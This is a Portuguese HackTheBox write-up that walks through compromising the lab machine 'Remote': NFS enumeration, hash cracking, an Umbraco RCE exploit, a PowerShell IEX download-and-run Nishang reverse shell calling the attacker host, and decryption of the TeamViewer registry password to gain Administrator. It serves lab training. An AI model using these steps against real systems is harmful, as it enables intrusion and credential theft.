> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md).

# Writeup do HackTheBox Remote

Writeup da máquina Easy Windows Remote do HackTheBox cobrindo enumeração web, enumeração NFS - showmount, vazamento de informações, abuso do painel admin Umbraco, com enumeração prática, exploração, footho

{% embed url="<https://app.hackthebox.com/machines/234>" %}

{% hint style="warning" %}
**Habilidades**:

* Enumeração Web
* Enumeração NFS - Showmount
* Vazamento de Informações
* Abusando do Painel de Administração do Umbraco
* Umbraco CMS - Execução Remota de Código por administradores autenticados
* Obtendo a senha do TeamViewer a partir dos registros do sistema (AES128 - CBC) (Escalada de Privilégio)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b9eb77a614ad5698c2e042cb0c6caea883f0b7bb%2Fimage%20(1262).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e77b5f90ce6e1e20fe2f3d10c74da8119e99279a%2Fimage%20(1263).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de Portas Abertas com Nmap:**/ Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.180 -oG allPorts
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7cf1a734c3813af420126c6ddf017440e9b502ba%2Fimage%20(1264).png?alt=media" alt=""><figcaption></figcaption></figure>

**Análise das portas abertas com extractport:**/ Usando a função extractport para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-46b6bb56d1a8757c7a5426b11e571ea31d39c5db%2Fimage%20(1265).png?alt=media" alt=""><figcaption></figcaption></figure>

**Varredura de versões de portas com Nmap :**/ Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 10.10.10.180 -oN targeted
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7de1110b8c04ddf485f4b65dcb265bfad0dfaf05%2Fimage%20(1266).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-029aa827ce26fcf55e80e571620ff501d81b7711%2Fimage%20(1267).png?alt=media" alt=""><figcaption></figcaption></figure>

Para resolver nomes de domínio em endereços IP via DNS, o nome de domínio associado ao seu endereço IP é inserido no `/etc/hosts` arquivo

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ff079392de9e8d821bbca0dc3c61e505997b5c6%2Fimage%20(1269).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Web (porta 80):

```bash
whatweb http://remote.htb
```

<div align="center" data-full-width="true"><figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-efcf7874fba151e70cf8625204c695bf7ed26d00%2Fimage%20(1274).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5fc75aac9b6174219d27b7c32e6d87cc3ba0a6ac%2Fimage%20(1270).png?alt=media" alt=""><figcaption></figcaption></figure>

### SMB - porta 445

Lista **SMB:**

```bash
crackmapexec smb 10.10.10.180
```

<div data-full-width="true"><figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb5a2740fe0b1db4532881c6c81084660cf29a0c%2Fimage%20(1271).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### **Cliente SMB (sessão nula):**

```bash
smbclient -L 10.10.10.180 -N
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6c66627e0db7459b25b2c63779994cae7e9c157%2Fimage%20(1272).png?alt=media" alt=""><figcaption></figcaption></figure>

### FTP (21) anônimo

Temos a capacidade de nos conectar via FTP com o usuário anônimo, mas não podemos nem listar nem adicionar arquivos.

```bash
ftp 10.10.10.180

put test.txt
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-99d2b1c2173acfe5dfd52c0262923b39a7e23b37%2Fimage%20(1273).png?alt=media" alt=""><figcaption></figcaption></figure>

## Serviço NFS (porta 2049)

{% hint style="info" %}
O Network File System (NFS) é um protocolo de nível de aplicação do modelo OSI. Ele é usado para criar sistemas de arquivos distribuídos em uma rede local, permitindo que diferentes sistemas conectados acessem arquivos remotos como se fossem locais.
{% endhint %}

Para listar os arquivos com `mount`:

```bash
showmount -e 10.10.10.180
```

Vemos uma `/site_backups` que pode ser vista por todos.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3013ccfa8ce6a51ae041c36ba54599a3c9c4377d%2Fimage%20(1275).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Para importar este arquivo, você precisa criar um diretório e montá-lo em nossa máquina da seguinte forma:

```bash
mkdir /mnt/mounted_files

mount -t nfs 10.10.10.180:/site_backups /mnt/mounted_files
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d3a0b12cd5a2e1bb19524f08a2de43fbc8ee96b3%2Fimage%20(1276).png?alt=media" alt=""><figcaption></figcaption></figure>

Com `tree`, listaremos todas as pastas na estrutura para ter uma ideia:

```
tree -L 2
```

Vemos uma `.config` configuração e `sdf` pasta do banco de dados Umbraco (um CMS) da porta 80.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d15f7a5e695cdb9ff15972b563fbc06db4593708%2Fimage%20(1278).png?alt=media" alt=""><figcaption></figcaption></figure>

O `.conf` arquivo não contém nada interessante, e o `umbraco.sdf` é um arquivo binário.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22c1ff968b7c2ee0c6041d3797c74d133384b944%2Fimage%20(1279).png?alt=media" alt=""><figcaption></figcaption></figure>

Usaremos `strings` para exibir os caracteres visíveis e colocá-los em nosso diretório para análise detalhada:

```bash
strings Umbraco.sdf > /home/jordan/Desktop/htb/remote/content/output
```

Encontramos senhas de "admin" e um usuário "smith".

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1056720a69f7d25bd03de7388a145be0c72ee493%2Fimage%20(1281).png?alt=media" alt=""><figcaption></figcaption></figure>

### Quebra de senha:

Admin (hash): `b8be16afba8c314ad33d812f22a04991b90e2aaa`

{% embed url="<https://crackstation.net/>" %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fd715af91b9c490b397e793de31930e9b7b5a09%2Fimage%20(1282).png?alt=media" alt=""><figcaption></figcaption></figure>

Admin: `baconandcheese`

#### Como o SMB está exposto, use o CrackMapExec para autenticar e validar o acesso

```bash
crackmapexec smb 10.10.10.180 -u 'smith' -p 'baconandcheese'
crackmapexec smb 10.10.10.180 -u 'administrator' -p 'baconandcheese'
```

#### nenhum efeito

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5dabd6349cdd6766e470751ab3fd107c4cfaa356%2F%7B9A568C00-E4DD-4EBF-B476-5DF9D0C1C44A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade RCE (Umbraco CMS)

Encontramos um painel de administração e tentaremos a autenticação do usuário admin:

`admin@htb.local:baconandcheese`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22e4c3037bbc2ea43e9427f33176d04d20f14bec%2F%7B382433B0-312E-419C-A5C0-176F5F8BF31F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Temos acesso.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0695a07f5d3034450976414deb97ff9e30b6e41c%2Fimage%20(1283).png?alt=media" alt=""><figcaption></figcaption></figure>

Vamos procurar `Searchsploit` as vulnerabilidades deste CMS e encontramos um script de NCE para o Umbraco.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4861f5edf285f8ed06657d0527b9dd92c4af4c1b%2Fimage%20(1284).png?alt=media" alt=""><figcaption></figcaption></figure>

`searchsploit -m aspx/webapps/46153.py`

Vamos alterar as configurações de login, senha e host no script.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-66f812a30c825a01f92d3bad53550e2471cfb4de%2Fimage%20(1288).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Verifique a conectividade com ping:**/ Executaremos este comando no servidor e escutaremos com tcpdump

```bash
/c ping 10.10.14.6

tcpdump -i tun0 icmp
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-29956d5cf155c3ffdbf55eeb11db81f4c92b6b63%2Fimage%20(1290).png?alt=media" alt=""><figcaption></figcaption></figure>

Assim que virmos que podemos executar comandos, baixaremos o `PS.ps1` script para nossa máquina.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

No final do script, adicionamos a seguinte linha:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c334d136657545563678f55753a2341b710a2d44%2Fimage%20(1291).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Vamos criar um servidor web com o `PS.ps1` script:

```bash
python3 -m http.server 80
```

Em seguida, vamos modificar o comando para apontar para o nosso servidor web:

{% code fullWidth="true" %}

```
/c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/')
```

{% endcode %}

Por fim, ouvimos a porta 4444:

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3fd51dbd5bf6ae4f920c68f20579e60c91d281f%2Fimage%20(1292).png?alt=media" alt=""><figcaption></figcaption></figure></div>

Acesso ao `user.txt` arquivo e descobrindo que o TeamViewer está instalado

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2495988c926b68ba82fa48f54642d952030b8ff3%2Fimage%20(1293).png?alt=media" alt=""><figcaption></figcaption></figure>

## Escalada de privilégios:

Se você olhar as tarefas em execução, poderá ver a versão 7 do TeamViewer.

```powershell
tasklist /svc
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ac905888e45a0e531118380c96ee7441adad4c7%2Fimage%20(1255).png?alt=media" alt=""><figcaption></figcaption></figure>

Ao pesquisar os scripts do Metasploit, encontramos um que pode recuperar a senha do TeamViewer:

```powershell
locate teamviewer | grep metasploit
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6577ee0c3a024fc9d67c3f0b25dcbbd77b5816b0%2Fimage%20(1256).png?alt=media" alt=""><figcaption></figcaption></figure>

Ao analisar o script, você primeiro precisa obter a chave (dependendo da versão) do registro:

`HKLM/SOFTWARE/WOW6432Node/TeamViewer/Version7', 'Version`

Em seguida, as propriedades de segurança devem ser examinadas, especialmente a senha AES:

```powershell
cd HKLM:SOFTWARE/WOW6432Node/TeamViewer//Version7

(Get-ItemProperty .).SecurityPasswordAES
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69a735ebeb72f9e681e299b4035dcb194e3e4832%2Fimage%20(1257).png?alt=media" alt=""><figcaption></figcaption></figure>

Coloque os seguintes bytes em `ciphertext`:

`255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91`

### Script de Automação em Python:

Aqui está o script que automatiza todo o processo:

```python
from itertools import product
from Crypto.Cipher import AES 
import Crypto.Cipher.AES

IV = b"/x01/x00/x01/x00/x67/x24/x4F/x43/x6E/x67/x62/xF2/x5E/xA8/xD7/x04"
key = b"/x06/x02/x00/x00/x00/xa4/x00/x00/x52/x53/x41/x31/x00/x04/x00/x00"


decipher = AES.new(key,AES.MODE_CBC,IV)
ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91])


plaintext = decipher.decrypt(ciphertext).decode()
print(plaintext)
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e5bfb9ed51c96619042331386a7f15a0b76af2f%2Fimage%20(1258).png?alt=media" alt=""><figcaption></figcaption></figure>

A senha é `!R3m0te!`.

Vamos verificar com o CrackMapExec se a senha está correta para o usuário `Administrator`:

```bash
crackmapexec smb 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8533576997d311288c461c31dacc668ac6ce10f%2Fimage%20(1259).png?alt=media" alt=""><figcaption></figcaption></figure>

Conectamo-nos com o Evil-WinRM, pois o serviço remoto de administração do Windows está ativo na porta 5985:

<pre class="language-bash"><code class="lang-bash"><strong>evil-winrm -i 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
</strong></code></pre>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ae1f3a6bf95f3b368137fa0996381b6dd29dc8f5%2Fimage%20(1260).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root final :)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-27e43b784ae306b73d668a712ced88bacbc13dfd%2Fimage%20(1261).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fbc44f23ca7f30bd5e77ffa2d7d90304d0de1ef0%2F%7B39DC4A55-52D4-4DB7-B206-C48C813FBAE9%7D.png?alt=media" alt="" width="529"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
